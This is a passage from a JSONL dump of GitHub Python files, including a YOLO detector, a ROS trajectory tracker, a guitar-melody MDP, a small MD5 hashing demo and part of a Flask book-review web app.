prediction['topleft']['y'])\r\n br = (prediction['bottomright']['x'], prediction['bottomright']['y'])\r\n color = tuple(255 * np.random.rand(3))\r\n frame = cv2.rectangle(frame, tl, br, color, 2)\r\n font = cv2.FONT_HERSHEY_COMPLEX\r\n frame = cv2.putText(frame, label, tl, font, .7, color, 2)\r\n cv2.imshow('YOLO in real time', frame)\r\n toc = time.time()\r\n print('FPS:' + '{0:.2f}'.format(1 / (toc - tic)))\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n cam.release()\r\n cv2.destroyAllWindows()\r\n\r\n\r\n\"\"\" YOLO for single image \"\"\"\r\nfile_name = 'dog.jpg'\r\n#yolo_solo(file_name)\r\n\r\n\"\"\" YOLO for real time \"\"\"\r\nyolo_real_time()\r\n\r\nprint('All Done!')\r\n","repo_name":"MahmudulAlam/Object-Detection-Using-YOLO-Algorithm","sub_path":"yolo.py","file_name":"yolo.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"5066379937","text":"from numpy import genfromtxt, zeros, size\n\nfrom math import pi\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.basemap import Basemap\n\nmap_from_file = genfromtxt('../data/map.dat')\npoints_from_file = genfromtxt('../data/type_points.dat').T\n# sing_from_file = genfromtxt('../bin/hfi_sing.dat').T\n\nN = 1024\nprojection = 'cyl'\nsave_as_png = False\nsave_as_svg = False\n\ninside_map = zeros((int(N + 1), int(N / 2 + 1)))\nx = zeros((int(N + 1), int(N / 2 + 1)))\ny = zeros((int(N + 1), int(N / 2 + 1)))\n\nfor i in range(0, int(N + 1)):\n for j in range(0, int(N / 2 + 1)):\n x[i][j] = 2.0 * i / N * pi - pi\n y[i][j] = 2.0 * j / N * pi - pi / 2.0\n\nfor i in range(0, int(N + 1) * int(N / 2 + 1)):\n inside_map[int(map_from_file[i][0])][int(map_from_file[i][1])] = map_from_file[i][2]\n\nrad = 180.0 / pi\n\nfig = plt.figure(figsize=(8, 4))\nfig.subplots_adjust(\n left=0.0, right=1.0, top=1.0, bottom=0.0, wspace=0.0, hspace=0.0)\n\nax = fig.add_axes([0.0, 0.0, 1.0, 1.0])\nax.axis('off')\n\ncmbmap = Basemap(projection=projection, lon_0=0, resolution='l')\ncmbmap.contourf(x * rad, y * rad, inside_map, 300, cmap=plt.cm.jet, latlon=True)\n\npoints_marker = ''\n\nfor i in range(0, 2000):\n if points_from_file[3][i] == 0:\n points_marker = '.'\n elif points_from_file[3][i] == 1:\n points_marker = 'x'\n elif points_from_file[3][i] == 2:\n points_marker = '+'\n cmbmap.scatter((points_from_file[0][i] - pi) * rad, (points_from_file[1][i] - pi / 2.0) * rad,\n marker=points_marker, color='red')\n\ncmbmap.contour(x * rad, y * rad, inside_map)\n\nplt.show()","repo_name":"heyfaraday/CMBcpp","sub_path":"test/test1/py/vis_4.py","file_name":"vis_4.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36531648743","text":"import threading\n\nimport numpy as np\n\nimport rospy\nimport tf_conversions\nimport tf2_ros\nimport tf2_geometry_msgs\nfrom ackermann_msgs.msg import AckermannDriveStamped\nfrom geometry_msgs.msg import PointStamped\nfrom std_msgs.msg import Header\nfrom visualization_msgs.msg import Marker\n\nfrom maze_solver.trajectory_tracking.pure_pursuit import PurePursuit\nfrom maze_solver.utils.visualization_utils import VisualizationUtils\n\nclass TrajectoryTracker:\n TRAJECTORY_SAMPLE_WIDTH = rospy.get_param(\"/maze_solver/trajectory_sample_width\")\n TRAJECTORY_RATE = rospy.get_param(\"/maze_solver/trajectory_rate\")\n AXLE_LENGTH = rospy.get_param(\"/maze_solver/axle_length\")\n LOOK_AHEAD_DISTANCE = rospy.get_param(\"/maze_solver/look_ahead_distance\")\n LOOK_AHEAD_DISTANCE_SQUARED = LOOK_AHEAD_DISTANCE * LOOK_AHEAD_DISTANCE\n MAX_STEERING_ANGLE = rospy.get_param(\"/maze_solver/max_steering_angle\")\n DRIVE_TOPIC = rospy.get_param(\"/maze_solver/drive_topic\")\n CARTOGRAPHER_FRAME = rospy.get_param(\"/maze_solver/cartographer_frame\")\n BASE_FRAME = rospy.get_param(\"/maze_solver/base_frame\")\n VELOCITY = rospy.get_param(\"/maze_solver/velocity\")\n LOOK_AHEAD_VIZ_TOPIC = \"/look_ahead\"\n MIN_VELOCITY = 0.2\n VELOCITY_PROP = 0.5\n\n def __init__(self):\n self.lock = threading.Lock()\n\n # Create a publisher\n self.drive_pub = rospy.Publisher(\n self.DRIVE_TOPIC,\n AckermannDriveStamped,\n queue_size=1)\n self.look_ahead_pub = rospy.Publisher(\n self.LOOK_AHEAD_VIZ_TOPIC,\n Marker,\n queue_size=1)\n\n # Listen to new poses\n self.tf_buffer = tf2_ros.Buffer(rospy.Duration(1200.0))\n self.tf_listener = tf2_ros.TransformListener(self.tf_buffer)\n\n # Initialize the pose\n self.pose = None\n\n # Initialize stopped\n self.path = None\n self.is_lost = True\n self.at_end = True\n\n # Create a drive timer\n rospy.Timer(rospy.Duration(self.TRAJECTORY_RATE), self.drive)\n\n def stop(self):\n \"\"\"\n Stop driving.\n \"\"\"\n self.lock.acquire()\n self.at_end = True\n self.lock.release()\n self.drive()\n\n def track(self, path):\n self.lock.acquire()\n # Sample the path\n points = []\n self.reverses = []\n for i, (steer, reverse) in enumerate(path):\n samples = steer.sample(self.TRAJECTORY_SAMPLE_WIDTH)\n if reverse:\n samples = samples[::-1]\n points.append(samples)\n self.reverses += [reverse] * len(samples)\n\n if i + 1 == len(path) or path[i + 1][1] != reverse:\n # We are reversing direction or at the end of the path\n # Add a look ahead point\n offset = np.array([[\n self.LOOK_AHEAD_DISTANCE * np.cos(samples[-1,2]),\n self.LOOK_AHEAD_DISTANCE * np.sin(samples[-1,2]),\n 0]])\n if reverse:\n offset *= -1\n points.append(samples[-1:,:] + offset)\n\n self.reverses += [self.reverses[-1]]\n\n self.path_index = 0\n self.path = np.concatenate(points, axis=0)[:, :2]\n self.is_lost = False\n self.at_end = False\n self.lock.release()\n\n def compute_control(self):\n goal_point_map, t, self.path_index, self.is_lost, at_end = PurePursuit.pick_closest_point(\n self.pose,\n self.path,\n self.path_index,\n self.LOOK_AHEAD_DISTANCE_SQUARED)\n\n self.at_end = at_end or self.at_end\n\n # Convert the goal point to local coordinates\n goal_point_base = self.transform_point(goal_point_map)\n self.visualize(goal_point_base)\n\n # Get the pure pursuit angle\n angle, curvature = PurePursuit.ackermann_angle(goal_point_base, self.AXLE_LENGTH)\n angle = np.clip(angle, -self.MAX_STEERING_ANGLE, self.MAX_STEERING_ANGLE)\n\n # Check if we are at the end or reversing \n if self.path_index + 2 < len(self.path) and \\\n self.reverses[self.path_index + 2] == self.reverses[self.path_index + 1]:\n t = 1\n velocity = self.control_velocity(t, curvature)\n\n if self.reverses[self.path_index]:\n velocity *= -1\n\n return velocity, angle\n\n def control_velocity(self, t, curvature):\n velocity = self.VELOCITY_PROP/abs(curvature)\n velocity = min(velocity, self.VELOCITY)\n return max(self.MIN_VELOCITY, velocity * t)\n\n def drive(self, event=None):\n \"\"\"\n Drive along the trajectory.\n \"\"\"\n\n # Fetch a new pose\n self.update_pose()\n\n if self.path is None:\n return\n\n self.lock.acquire()\n # if self.is_lost or self.at_end or (self.pose is None):\n if self.pose is None:\n velocity, angle = 0., 0.\n else:\n velocity, angle = self.compute_control()\n\n if self.at_end:\n velocity = 0.\n\n # Make a message\n drive_msg = AckermannDriveStamped()\n drive_msg.header.stamp = rospy.Time.now()\n drive_msg.header.frame_id = self.BASE_FRAME\n drive_msg.drive.speed = velocity\n drive_msg.drive.steering_angle = angle\n\n # Publish it\n self.drive_pub.publish(drive_msg)\n self.lock.release()\n\n def update_pose(self):\n \"\"\"\n Update the pose by listening\n to the transformation frame.\n \"\"\"\n try:\n self.transform = self.tf_buffer.lookup_transform(self.CARTOGRAPHER_FRAME, self.BASE_FRAME, rospy.Time(0))\n\n self.pose = np.array([\n self.transform.transform.translation.x,\n self.transform.transform.translation.y,\n tf_conversions.transformations.euler_from_quaternion([\n self.transform.transform.rotation.x,\n self.transform.transform.rotation.y,\n self.transform.transform.rotation.z,\n self.transform.transform.rotation.w])[2]])\n self.transform = self.tf_buffer.lookup_transform(self.BASE_FRAME, self.CARTOGRAPHER_FRAME, rospy.Time(0))\n\n except (tf2_ros.LookupException, tf2_ros.ConnectivityException) as e:\n pass\n\n def transform_point(self, point):\n \"\"\"\n Convert a point to the local frame.\n \"\"\"\n point_stamped = PointStamped()\n point_stamped.point.x = point[0]\n point_stamped.point.y = point[1]\n point_transformed_stamped = tf2_geometry_msgs.do_transform_point(point_stamped, self.transform)\n point_transformed = np.array([point_transformed_stamped.point.x, point_transformed_stamped.point.y])\n return point_transformed\n\n def visualize(self, goal_point_base):\n if self.look_ahead_pub.get_num_connections() > 0:\n points = np.array(\n [[0., 0.],\n [goal_point_base[0], goal_point_base[1]]])\n VisualizationUtils.plot(\n points[:,0],\n points[:,1],\n self.look_ahead_pub,\n color=(0.76, 0.335, 0.335),\n frame=self.BASE_FRAME)\n\n\n # \"\"\"\n # returns (velocity, angle)\n # \"\"\"\n # def getControlAngle(self, state, visualizeMethod=None):\n # if self.pathIndex >= len(self.paths):\n # return (0,0)\n\n # path = self.paths[self.pathIndex]\n # points = path[0]\n # backwards = path[1]\n\n # goalPointGlobal, self.pointIndex, outOfBounds = PurePursuit.pickClosestPoint(\n # state.getPosition(), \n # LOOK_AHEAD_DISTANCE_SQUARED,\n # points,\n # self.pointIndex)\n\n # self.outOfBounds = outOfBounds\n\n # # If we are at the end!\n # if np.linalg.norm(points[-1] - state.getPosition()) <= LOOK_AHEAD_DISTANCE + LOOK_AHEAD_BUFFER:\n # self.pathIndex += 1\n # self.pointIndex = 0\n # return (0,0)\n\n # if visualizeMethod:\n # TrajectoryTracker.visualize(state, goalPointGlobal, visualizeMethod)\n\n # goalPointLocal = LocalGlobalUtils.globalToLocal(state, goalPointGlobal)\n\n # velocity = CAR_VELOCITY\n # if len(points) - self.pointIndex < NUM_TUNE_POINTS:\n # velocity = CAR_TUNE_VELOCITY\n\n # if backwards:\n # velocity *= -1.\n\n # def isPathComplete(self):\n # return self.pathIndex >= len(self.paths)\n\n # @staticmethod\n # def visualize(state, goalPointGlobal, visualizeMethod):\n\n # points = []\n\n # # Visualize the goal point\n # points += [state.getPosition(), goalPointGlobal]\n\n # # Visualize a circle surrounding the states\n # CIRCLE_SIZE = 20\n # for i in xrange(CIRCLE_SIZE + 1):\n # angle = 2 * np.pi * i/float(CIRCLE_SIZE)\n # point = LOOK_AHEAD_DISTANCE * np.array([np.sin(angle), np.cos(angle)])\n # point += state.getPosition()\n # points.append(point)\n # if i != 0 and i != CIRCLE_SIZE:\n # points.append(point)\n\n # # Visualize\n # visualizeMethod(points)\n","repo_name":"sportdeath/maze_solver","sub_path":"src/maze_solver/trajectory_tracking/trajectory_tracker.py","file_name":"trajectory_tracker.py","file_ext":"py","file_size_in_byte":9258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17685982253","text":"import random\n\nfrom .world import World\nfrom .car import Car, CarState\nfrom .walls import Wall\n\nclass WorldCreation:\n def __init__(self, settings):\n self.world = World(settings)\n\n def make_car():\n (x,y,h) = self.world.random_spawn_state()\n cs = CarState()\n cs.x = x\n cs.y = y\n cs.h = h\n c = Car(settings, cs)\n goal, id = self.world.random_goal_state()\n c.set_goal(goal, id)\n return c\n\n for i in range(0, min(settings.initial_car_settings.keyboard_cars,1)):\n self.world.add_keyboard_car(make_car())\n\n for i in range(0, settings.initial_car_settings.network_cars):\n self.world.add_network_car(make_car())\n\n for i in range(0, settings.initial_car_settings.random_cars):\n self.world.add_random_car(make_car())\n\n for i in range(0, settings.initial_car_settings.feedback_cars):\n self.world.add_feedback_car(make_car())\n\n for i in range(0, settings.initial_car_settings.network_exploration_cars):\n self.world.add_network_exploration_car(make_car())\n \n for i in range(0, settings.initial_car_settings.feedback_exploration_cars):\n self.world.add_feedback_exploration_car(make_car())\n\n for wall_pts in settings.walls.walls:\n w = Wall(wall_pts)\n self.world.add_wall(w)\n\n def get(self):\n return self.world\n","repo_name":"Wesley-Fisher/2d_rl_car_simulator","sub_path":"rl_car_simulator/world_creation.py","file_name":"world_creation.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2401324304","text":"class Solution:\n def getPermutation(self, n: int, k: int) -> str:\n factorials = [1]*(n+1)\n prod = 1\n for i in range(1,n+1):\n prod *= i\n factorials[i] = prod\n \n def recurse(arr, k, res):\n n = len(arr)\n if n == 0:\n return res\n cur_digit_ind = k//factorials[n-1]\n res += str(arr[cur_digit_ind])\n arr.pop(cur_digit_ind)\n return recurse(arr, k-cur_digit_ind*factorials[n-1], res)\n \n return recurse([i for i in range(1, n+1)], k-1, \"\")\n","repo_name":"SouradeepSaha/leetcode","sub_path":"60. Permutation sequence.py","file_name":"60. Permutation sequence.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4097129772","text":"from itertools import product\n\nimport numpy as np\nimport rlutils as rl\n\nnotes = ('A', 'A#', 'B', 'C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#')\n\n\ndef get_fret_board_standard_tuning():\n fret_board = np.array([\n ['E', 'A', 'D', 'G', 'B', 'E'],\n ['F', 'A#', 'D#', 'G#', 'C', 'F'],\n ['F#', 'B', 'E', 'A', 'C#', 'F#'],\n ['G', 'C', 'F', 'A#', 'D', 'G'],\n ['G#', 'C#', 'F#', 'B', 'D#', 'G#'],\n ['A', 'D', 'G', 'C', 'E', 'A'],\n ['A#', 'D#', 'G#', 'C#', 'F', 'A#'],\n ['B', 'E', 'A', 'D', 'F#', 'B'],\n ['C', 'F', 'A#', 'D#', 'G', 'C'],\n ['C#', 'F#', 'B', 'E', 'G#', 'C#'],\n ['D', 'G', 'C', 'F', 'A', 'D'],\n ['D#', 'G#', 'C#', 'F#', 'A#', 'D#'],\n ['E', 'A', 'D', 'G', 'B', 'E'],\n ['F', 'A#', 'D#', 'G#', 'C', 'F'],\n ['F#', 'B', 'E', 'A', 'C#', 'F#'],\n ['G', 'C', 'F', 'A#', 'D', 'G'],\n ['G#', 'C#', 'F#', 'B', 'D#', 'G#'],\n ['A', 'D', 'G', 'C', 'E', 'A'],\n ['A#', 'D#', 'G#', 'C#', 'F', 'A#'],\n ['B', 'E', 'A', 'D', 'F#', 'B'],\n ['C', 'F', 'A#', 'D#', 'G', 'C'],\n ['C#', 'F#', 'B', 'E', 'G#', 'C#'],\n ['D', 'G', 'C', 'F', 'A', 'D'],\n ['D#', 'G#', 'C#', 'F#', 'A#', 'D#'],\n ['E', 'A', 'D', 'G', 'B', 'E']\n ], dtype=np.str)\n octave_idx = np.array([\n [0, 0, 1, 1, 1, 2],\n [0, 0, 1, 1, 2, 2],\n [0, 0, 1, 1, 2, 2],\n [0, 1, 1, 1, 2, 2],\n [0, 1, 1, 1, 2, 2],\n [0, 1, 1, 2, 2, 2],\n [0, 1, 1, 2, 2, 2],\n [0, 1, 1, 2, 2, 2],\n [1, 1, 1, 2, 2, 3],\n [1, 1, 1, 2, 2, 3],\n [1, 1, 2, 2, 2, 3],\n [1, 1, 2, 2, 2, 3],\n [1, 1, 2, 2, 2, 3],\n [1, 1, 2, 2, 3, 3],\n [1, 1, 2, 2, 3, 3],\n [1, 2, 2, 2, 3, 3],\n [1, 2, 2, 2, 3, 3],\n [1, 2, 2, 3, 3, 3],\n [1, 2, 2, 3, 3, 3],\n [1, 2, 2, 3, 3, 3],\n [2, 2, 2, 3, 3, 4],\n [2, 2, 2, 3, 3, 4],\n [2, 2, 3, 3, 3, 4],\n [2, 2, 3, 3, 3, 4],\n [2, 2, 3, 3, 3, 4]\n ], dtype=np.int)\n return fret_board, octave_idx\n\n\ndef guitar_melody_mdp(melody, fret_board=None, octave_idx=None, reward_max=1., reward_min=-1.):\n if fret_board is None:\n fret_board = get_fret_board_standard_tuning()[0]\n if octave_idx is None:\n octave_idx = get_fret_board_standard_tuning()[1]\n fret_board_1 = [''] + list(np.reshape(fret_board.transpose(), -1))\n octave_idx_1 = [-1] + list(np.reshape(octave_idx.transpose(), -1))\n melody_transitions = list(zip([''] + list(melody[:-1]), melody))\n\n num_s = len(fret_board_1)\n num_a = len(notes)\n t_mat = np.stack([np.eye(num_s, dtype=np.float32) for _ in range(num_a)])\n r_mat = np.ones([num_a, num_s, num_s], dtype=np.float32) * reward_min\n\n note_it = enumerate(notes)\n fret_it_1 = enumerate(zip(fret_board_1, octave_idx_1))\n fret_it_2 = enumerate(zip(fret_board_1, octave_idx_1))\n for (ni, na), (si, (n, o)), (sni, (nn, on)) in product(note_it, fret_it_1, fret_it_2):\n if (n, nn) in melody_transitions and na == nn and on in [1, 2, 3] and (o == -1 or o == on):\n r_mat[ni, si, sni] = reward_max\n for a, s in product(range(num_a), range(num_s)):\n rewarding_transitions = np.where(r_mat[a, s] == reward_max)[0]\n if len(rewarding_transitions) > 0:\n t_mat[a, s, s] = 0.\n for i in rewarding_transitions:\n t_mat[a, s, i] = 1.\n t_mat /= np.sum(t_mat, axis=-1, keepdims=True) # normalize to correct transition probabilities out of start state.\n\n idx_goal_list = [i for i, (n, o) in enumerate(zip(fret_board_1, octave_idx_1)) if\n n == melody[-1] and o in [1, 2, 3]]\n mdp = rl.environment.TabularMDP(t_mat, r_mat, idx_start_list=[0], idx_goal_list=idx_goal_list)\n return mdp\n\n\ndef phi_mat_from_fret_board(fret_board=None, octave_idx=None):\n if fret_board is None:\n fret_board = get_fret_board_standard_tuning()[0]\n if octave_idx is None:\n octave_idx = get_fret_board_standard_tuning()[1]\n num_frets, num_strings = np.shape(fret_board)\n num_notes = len(notes)\n phi_mat = np.zeros([num_frets * num_strings + 1, num_notes + 2], dtype=np.float32)\n fret_board_1 = np.reshape(fret_board.transpose(), -1)\n octave_idx_1 = np.reshape(octave_idx.transpose(), -1)\n\n phi_mat[0, 0] = 1.\n for i, (n, o) in enumerate(zip(fret_board_1, octave_idx_1)):\n if o == 0 or o == 4:\n phi_mat[i + 1, -1] = 1.\n else:\n j = notes.index(n)\n phi_mat[i + 1, j + 1] = 1.\n return phi_mat\n","repo_name":"lucaslehnert/rewardpredictive","sub_path":"rewardpredictive/guitar.py","file_name":"guitar.py","file_ext":"py","file_size_in_byte":4563,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"4992593234","text":"import hashlib \n\nstring = 'This is a message that goes to md5.'\nmd5_string = hashlib.md5(string.encode())\nprint('[>]Encrypted message',md5_string.digest(),'\\n'\n\t '[>]Message hex:',md5_string.hexdigest()\n\t )\n\n\"\"\"\nThe same thing goes for sha1, sha128, sha256\nPerhaps make a script to calculate all the hashes at once.\n\"\"\"\n\n","repo_name":"OblackatO/OffensiveSecurity","sub_path":"Hashing/MD5_SHA_EncryptionBase.py","file_name":"MD5_SHA_EncryptionBase.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34934079269","text":"import fridge.Constituent.Constituent as Constituent\nimport fridge.utilities.mcnpCreatorFunctions as mcnpCF\n\n\nclass UpperCoolant(Constituent.Constituent):\n \"\"\"Creates a region of sodium to compensate for any excess height specified in the assembly file.\n This is in addition to the lower coolant region. The sum of the upper and lower coolant region is the\n excess height from the assembly file.\"\"\"\n def __init__(self, unit_info, void_percent=1.0):\n super().__init__(unit_info, void_percent=void_percent)\n self.get_material_card(unit_info[0][3])\n self.make_component(unit_info[1])\n\n def make_component(self, upper_coolant_info):\n excess_coolant_height = upper_coolant_info[0]\n flat_to_flat_universe = upper_coolant_info[1]\n surface_comment = \"$Assembly: Upper Coolant\"\n cell_comment = \"$Assembly: Upper Coolant\"\n self.surfaceCard = mcnpCF.build_rotated_right_hexagonal_prism_surface(flat_to_flat_universe,\n excess_coolant_height, self.position,\n self.surfaceNum, surface_comment)\n self.cellCard = mcnpCF.build_single_cell(self.cellNum, self.materialNum, self.material.atomDensity,\n self.surfaceNum, self.universe, cell_comment)\n","repo_name":"ryanstwrt/FRIDGe","sub_path":"fridge/Constituent/UpperCoolant.py","file_name":"UpperCoolant.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41193252033","text":"import FWCore.ParameterSet.Config as cms\n\nctppsModifiedOpticalFunctionsESSource = cms.ESProducer('CTPPSModifiedOpticalFunctionsESSource',\n inputOpticsLabel = cms.string(''),\n outputOpticsLabel = cms.string('modified'),\n scenario = cms.string('none'),\n factor = cms.double(0),\n rpId_45_N = cms.uint32(0),\n rpId_45_F = cms.uint32(0),\n rpId_56_N = cms.uint32(0),\n rpId_56_F = cms.uint32(0),\n appendToDataLabel = cms.string('')\n)\n","repo_name":"cms-sw/cmssw-cfipython","sub_path":"Validation/CTPPS/ctppsModifiedOpticalFunctionsESSource_cfi.py","file_name":"ctppsModifiedOpticalFunctionsESSource_cfi.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34689617574","text":"from timm import create_model\nfrom timm.data import create_transform\nfrom timm.models import get_pretrained_cfg\nfrom torch.utils.data.dataset import Dataset\nfrom PIL import Image\nfrom tqdm import tqdm\nfrom torch.utils.data import DataLoader\n\ntotal_image_num = 99000000\nmodel_name = 'vit_small_patch16_224_in21k'\ndevice = 'cuda:3'\nbatch_size = 64\n\n\nclass CustomImageDataset(Dataset):\n def __init__(self, img_path='./towhee_bird0.jpg', transform=None):\n self.img_path = img_path\n self.transform = transform\n\n def __len__(self):\n return total_image_num\n\n def __getitem__(self, idx):\n image = Image.open(self.img_path).convert('RGB')\n if self.transform:\n image = self.transform(image)\n return image\n\n\nconfig = get_pretrained_cfg(model_name)\nprint(config)\ntfms = create_transform(\n input_size=config['input_size'],\n interpolation=config['interpolation'],\n mean=config['mean'],\n std=config['std'],\n crop_pct=config['crop_pct']\n)\n\ndataset = CustomImageDataset(transform=tfms)\ndataloader = DataLoader(dataset, batch_size=batch_size, shuffle=False)\nmodel = create_model(model_name, pretrained=True, num_classes=10).to(device)\n\nfor batch_ind in tqdm(range(total_image_num // batch_size)):\n batch_data = next(iter(dataloader))\n # print(batch_data.shape)\n feature = model.forward_features(batch_data.to(device))\n # print(\"feature.shape = \", feature.shape)\n # print()\n\n# from towhee.dc2 import pipe, ops, DataCollection\n# op = ops.image_embedding.timm(model_name='vit_small_patch16_224_in21k', device='cuda:3')\n# \n# \n# \n# train_loader = Data.DataLoader(dataset=training_data, batch_size=BATCH_SIZE,\n# shuffle=True)\n# p = (\n# pipe.input('path')\n# .map('path', 'img', ops.image_decode())\n# .map('img', 'vec', op)\n# .output('img', 'vec')\n# )\n# t0 = time.time()\n# p.batch(['./towhee_bird.jpeg']*100)\n# t1 = time.time()\n# t = t1 - t0\n# print('t = ', t)\n\n\n# t_list = []\n# times = 100\n# for i in range(times):\n# t0 = time.time()\n# p('./towhee_bird.jpeg')\n# t1 = time.time()\n# t = t1 - t0\n# if i == 0 :\n# print('first time = ', t)\n# else:\n# t_list.append(t)\n# print(f'from 1 to {times}, average time = {sum(t_list) / times}')\n","repo_name":"zc277584121/yfcc100m","sub_path":"evaluate_vit_time.py","file_name":"evaluate_vit_time.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"43121610808","text":"from app import app\nfrom flask import render_template, redirect, request\nimport books_functions, users_functions, booklist_functions, review_functions, genre_functions, datetime\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\", books=books_functions.get_all_books())\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n error = \"\"\n\n if request.method == \"POST\":\n username = request.form[\"username\"]\n password = request.form[\"password\"]\n\n if users_functions.log_in(username, password):\n return redirect(\"/\")\n else:\n error = \"Invalid username or password\"\n\n return render_template(\"login.html\", error=error)\n\n@app.route(\"/signin\", methods=[\"GET\", \"POST\"])\ndef signin():\n error = \"\"\n\n if request.method == \"POST\":\n username = request.form[\"username\"]\n password = request.form[\"password\"]\n password_again = request.form[\"password_again\"]\n\n if 2 < len(username) < 16:\n if 4 < len(password) < 100:\n if password == password_again:\n if users_functions.sign_in(username, password, 0):\n return redirect(\"/login\")\n else:\n error = \"Username is taken\"\n else:\n error = \"Passwords don't match!\"\n else:\n error = \"Password must be 5-99 characters long!\"\n else:\n error = \"Username must be 3-15 characters long!\"\n\n return render_template(\"signin.html\", error=error)\n\n@app.route(\"/logout\")\ndef logout():\n users_functions.log_out()\n return redirect(\"/\")\n\n@app.route(\"/book/\", methods=[\"GET\", \"POST\"])\ndef book(id):\n in_list = False\n read = False\n error=\"\"\n\n if request.method==\"POST\":\n if request.form[\"submit\"] == \"Add to booklist\":\n users_functions.check_csrf()\n status = request.form[\"booklist\"]\n booklist_functions.add_to_booklist(id, status)\n\n if request.form[\"submit\"] == \"Rate book\":\n users_functions.check_csrf()\n rate = request.form[\"rating\"]\n review_functions.add_rating(id, rate)\n\n if request.form[\"submit\"] == \"Write a comment\":\n users_functions.check_csrf()\n comment = request.form[\"comment\"]\n if comment != \"\":\n if len(comment) < 500:\n review_functions.add_comment(id, comment)\n else:\n error = \"Keep comments under 500 characters, please\"\n\n if request.form[\"submit\"] == \"Delete comments\":\n users_functions.check_csrf()\n comment_ids = request.form.getlist(\"comment_id\")\n for comment_id in comment_ids:\n review_functions.delete_comment(comment_id)\n\n if users_functions.get_user():\n if booklist_functions.book_in_list(id):\n in_list = True\n\n if booklist_functions.book_read(id):\n read = True\n\n book = books_functions.get_book(id)\n rating = review_functions.get_rating(id)[0]\n\n if rating==None:\n rating = \"–\"\n\n comments = review_functions.get_comments(id)\n genres = genre_functions.get_genres(id)\n recommendations = booklist_functions.similar_books(id)\n\n return render_template(\"book.html\", book=book, in_list=in_list, read=read, rating=rating, comments=comments, genres=genres, error=error, recommendations=recommendations)\n\n@app.route(\"/book//delete\", methods=[\"GET\", \"POST\"])\ndef book_delete(id):\n if users_functions.admin():\n book = books_functions.get_book(id)\n\n if request.method==\"POST\":\n users_functions.check_csrf()\n books_functions.delete_book(id)\n return redirect(\"/\")\n \n return render_template(\"bookdelete.html\", book=book)\n\n return redirect(f\"/book/{id}\")\n\n@app.route(\"/book//modify\", methods=[\"GET\", \"POST\"])\ndef book_modify(id):\n if users_functions.admin():\n error = \"\"\n year_now = datetime.datetime.now().year\n\n if request.method==\"POST\":\n users_functions.check_csrf()\n title = request.form.get(\"title\")\n author = request.form.get(\"author\")\n year = request.form.get(\"year\")\n description = request.form.get(\"description\")\n genres = request.form.getlist(\"genre\")\n if 1 < len(title) < 100:\n if 9 < len(description) < 1000: \n if genres != []:\n books_functions.modify_book(id, author, title, year, description)\n for genre in genres:\n genre_functions.assign_genre(id, genre)\n return redirect(f\"/book/{id}\")\n else:\n error = \"You must choose at least 1 genre!\"\n else:\n error = \"Description must be 10-999 characters long.\"\n else:\n error = \"Title must be 2-99 characters long.\"\n\n book = books_functions.get_book(id)\n og_author = book[2]\n authors = books_functions.get_all_authors()\n genres = genre_functions.get_all_genres()\n og_genres = genre_functions.get_genres(id)\n og_genres = [row[1] for row in og_genres]\n\n return render_template(\"bookmodify.html\", book=book, authors=authors, genres=genres, og_author=og_author, og_genres=og_genres, error=error, year_now=year_now)\n \n return redirect(f\"/book/{id}\")\n\n@app.route(\"/profile\")\ndef profile():\n user = users_functions.get_user()\n if users_functions.get_user():\n return render_template(\"profile.html\", user=user)\n else:\n return redirect(\"/\")\n\n@app.route(\"/profile/booklist\")\ndef profile_booklist():\n if users_functions.get_user():\n booklist = booklist_functions.get_booklist()\n return render_template(\"booklist.html\", booklist=booklist)\n else:\n return redirect(\"/\")\n\n@app.route(\"/profile/booklist/update\", methods=[\"GET\", \"POST\"])\ndef profile_booklist_update():\n if users_functions.get_user():\n\n if request.method == \"POST\":\n users_functions.check_csrf()\n new_currently_reading = request.form.getlist(\"reading\")\n new_read = request.form.getlist(\"read\")\n for id in new_currently_reading:\n booklist_functions.mark_as_currently_reading(id)\n for id in new_read:\n booklist_functions.mark_as_read(id)\n return redirect(\"/profile/booklist\")\n\n booklist = booklist_functions.get_booklist()\n return render_template(\"booklist_update.html\", booklist=booklist)\n else:\n return redirect(\"/\")\n\n@app.route(\"/addbook\", methods=[\"GET\", \"POST\"])\ndef add_book():\n if users_functions.admin():\n error = \"\"\n year_now = datetime.datetime.now().year\n\n if request.method == \"POST\":\n users_functions.check_csrf()\n\n title = request.form.get(\"title\")\n author = request.form.get(\"author\")\n year = request.form.get(\"year\")\n description = request.form.get(\"description\")\n genres = request.form.getlist(\"genre\")\n if 1 < len(title) < 100:\n if 9 < len(description) < 1000: \n if genres != []:\n \n book_added = books_functions.add_book(author, title, year, description)\n if book_added:\n author_id = books_functions.author_exists(author)\n book_id = books_functions.book_exists(author_id[0], title)[0]\n for genre in genres:\n genre_functions.assign_genre(book_id, genre)\n\n return redirect(\"/\")\n\n else:\n error = \"Book not added\"\n else:\n error = \"You must choose at least 1 genre!\"\n else:\n error = \"Description must be 10-999 characters long.\"\n else:\n error = \"Title must be 2-99 characters long.\"\n\n authors = 